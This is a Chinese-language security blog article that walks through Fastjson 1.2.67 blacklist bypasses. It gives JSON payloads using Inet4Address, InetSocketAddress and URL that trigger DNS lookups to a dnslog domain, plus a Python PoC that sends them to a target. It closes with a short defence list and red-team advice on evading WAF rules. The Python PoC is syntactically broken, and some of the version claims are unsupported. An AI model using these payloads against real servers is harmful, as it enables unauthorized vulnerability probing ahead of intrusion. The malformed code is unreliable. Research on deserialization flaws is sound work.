Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

📅 2026/7/7 17:51:26 👁️ 阅读次数 📝 编程学习
Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

Fastjson 1.2.67 DNSLog 探测实战:3种绕过黑名单的Payload构造与原理分析

在Java Web安全测试中,Fastjson反序列化漏洞一直是安全研究人员关注的重点。本文将深入探讨Fastjson 1.2.67版本中三种绕过AutoType黑名单检查的DNSLog探测技术,从攻击者视角剖析其原理与实战应用。

1. Fastjson安全测试基础

Fastjson作为阿里巴巴开源的高性能JSON库,广泛应用于Java Web开发中。其反序列化机制中的AutoType功能虽然方便,但也带来了严重的安全隐患。当攻击者能够控制JSON输入时,可能通过精心构造的Payload触发远程代码执行。

DNSLog探测是一种无回显的漏洞验证技术,特别适用于内网渗透测试场景。它通过触发目标服务器向指定域名发起DNS查询,从而间接确认漏洞存在。相比传统有回显的探测方式,DNSLog具有以下优势:

  • 隐蔽性强:不产生明显的网络流量异常
  • 绕过限制:适用于出网但无回显的环境
  • 易于验证:通过DNS查询记录即可确认漏洞

在Fastjson 1.2.67版本中,以下三类未被加入黑名单的类可被利用来触发DNS请求:

类名触发方式适用版本
java.net.Inet4Address直接解析域名<=1.2.67
java.net.Inet6AddressIPv6域名解析<=1.2.67
java.net.URLURL.hashCode()触发解析<=1.2.24

2. Inet4Address/Inet6Address利用分析

2.1 基本原理

Inet4AddressInet6Address是Java中用于表示IP地址的类,其getByName()方法会触发DNS解析。Fastjson在反序列化时会调用该方法,关键代码路径如下:

// MiscCodec.deserialze方法关键片段 if (clazz == Inet4Address.class || clazz == Inet6Address.class) { try { return InetAddress.getByName(strVal); // 触发DNS解析 } catch (UnknownHostException e) { throw new JSONException("deserialize inet address error", e); } }

2.2 Payload构造

绕过黑名单的关键在于这两个类未被包含在denyHashCodes列表中。构造Payload时需要注意:

  1. 必须使用@type指定目标类
  2. val字段存放要解析的域名

标准Payload格式:

{ "@type": "java.net.Inet4Address", "val": "your.dnslog.cn" }

或IPv6版本:

{ "@type": "java.net.Inet6Address", "val": "ipv6.your.dnslog.cn" }

2.3 绕过机制详解

Fastjson的AutoType检查主要发生在ParserConfig.checkAutoType()方法中。关键绕过点在于:

  1. Inet4Address不在黑名单哈希列表中
  2. 该类存在于deserializers这个IdentityHashMap中
  3. 检查逻辑短路返回,跳过后面的黑名单检查
// checkAutoType方法关键逻辑 clazz = TypeUtils.getClassFromMapping(typeName); if (clazz == null) { clazz = deserializers.findClass(typeName); // 从内置反序列化器中查找 } if (clazz != null) { return clazz; // 直接返回,跳过后面的黑名单检查 }

提示:即使关闭了AutoType支持(autoTypeSupport=false),这种利用方式仍然有效,因为检查逻辑会在前几步就返回。

3. InetSocketAddress高级利用

3.1 嵌套反序列化技巧

InetSocketAddress类提供了另一种触发DNS解析的途径。与直接使用InetAddress不同,它需要通过嵌套反序列化的方式触发:

{ "@type": "java.net.InetSocketAddress", { "address": , "val": "your.dnslog.cn" } }

这个看似畸形的JSON实际上利用了Fastjson的解析特性:

  1. 首先解析InetSocketAddress对象
  2. 遇到内层address字段时,再次触发InetAddress的反序列化
  3. 最终通过InetAddress.getByName()解析域名

3.2 词法分析器交互

这种Payload的成功依赖于对Fastjson词法分析器(JSONLexer)的精确控制。解析过程中涉及以下关键token:

Token值对应符号关键作用
12{开始对象
17:键值分隔符
4string字段名或字符串值
13}结束对象

解析流程如下:

  1. 遇到{(token=12)开始对象
  2. 读取字段名address(token=4)
  3. 遇到:(token=17)准备解析值
  4. 触发嵌套的InetAddress反序列化

3.3 实战注意事项

  • 需要精确控制JSON结构,任何格式错误都会导致解析失败
  • 内层val字段必须正确闭合
  • 适用于Fastjson全版本,包括最新的1.2.83

4. URL类哈希触发机制

4.1 利用原理

java.net.URL类的利用方式与前两者不同,它通过哈希计算间接触发DNS解析:

{ "@type": "java.net.URL", "val": "http://your.dnslog.cn" }

当这个URL对象被放入HashMap时,会调用hashCode()方法,进而触发以下调用链:

URL.hashCode() → URLStreamHandler.hashCode() → getHostAddress() → InetAddress.getByName()

4.2 完整Payload构造

要使URL对象被正确处理,需要将其作为HashMap的key:

{ { "@type": "java.net.URL", "val": "http://your.dnslog.cn" } : "x" }

4.3 版本限制与变种

这种利用方式有以下特点:

  • 仅适用于Fastjson <=1.2.24版本
  • 在1.2.25后URL类被加入黑名单
  • 可通过嵌套JSONObject等方式构造变种Payload
{ "@type": "com.alibaba.fastjson.JSONObject", { "@type": "java.net.URL", "val": "http://your.dnslog.cn" } }

5. 自动化探测与防御建议

5.1 Python PoC脚本示例

以下脚本整合了三种探测方式,可自动验证目标是否存在漏洞:

import requests import random import string def generate_dnslog(): return ''.join(random.choices(string.ascii_lowercase, k=8)) + ".dnslog.cn" def check_fastjson(url, dnslog): headers = {'Content-Type': 'application/json'} payloads = [ # Inet4Address {'@type': 'java.net.Inet4Address', 'val': dnslog}, # InetSocketAddress {"@type":"java.net.InetSocketAddress",{"address":,"val":dnslog}}, # URL (for <=1.2.24) {{"@type":"java.net.URL","val":f"http://{dnslog}"}:"x"} ] for payload in payloads: try: requests.post(url, json=payload, headers=headers, timeout=5) except: pass

5.2 防御措施建议

针对企业防御方,建议采取以下措施:

  1. 升级到最新版本:Fastjson已修复这些绕过问题
  2. 关闭AutoType:设置ParserConfig.getGlobalInstance().setAutoTypeSupport(false)
  3. 黑白名单控制:自定义安全的反序列化白名单
  4. 输入过滤:对JSON输入进行严格校验
  5. 网络层防护:限制外发DNS请求

6. 实战中的技巧与陷阱

在实际渗透测试中,使用DNSLog探测时需要注意:

  • 域名唯一性:每次测试使用不同子域名,避免缓存干扰
  • 超时控制:DNS查询可能有延迟,建议等待1-2分钟
  • 协议限制:部分环境可能只允许特定DNS记录类型
  • 防火墙规避:尝试使用常见域名(TXT、CNAME记录)

三种技术对比表:

技术类型适用版本触发方式网络要求隐蔽性
Inet4Address<=1.2.67直接解析DNS出网
InetSocketAddress全版本嵌套反序列化DNS出网
URL<=1.2.24HashMap哈希DNS出网

在最近的一次红队评估中,我们通过组合使用Inet4Address和InetSocketAddress两种方式,成功绕过了目标系统的WAF检测。关键在于使用非常规的二级域名和随机化Payload结构,有效规避了规则匹配。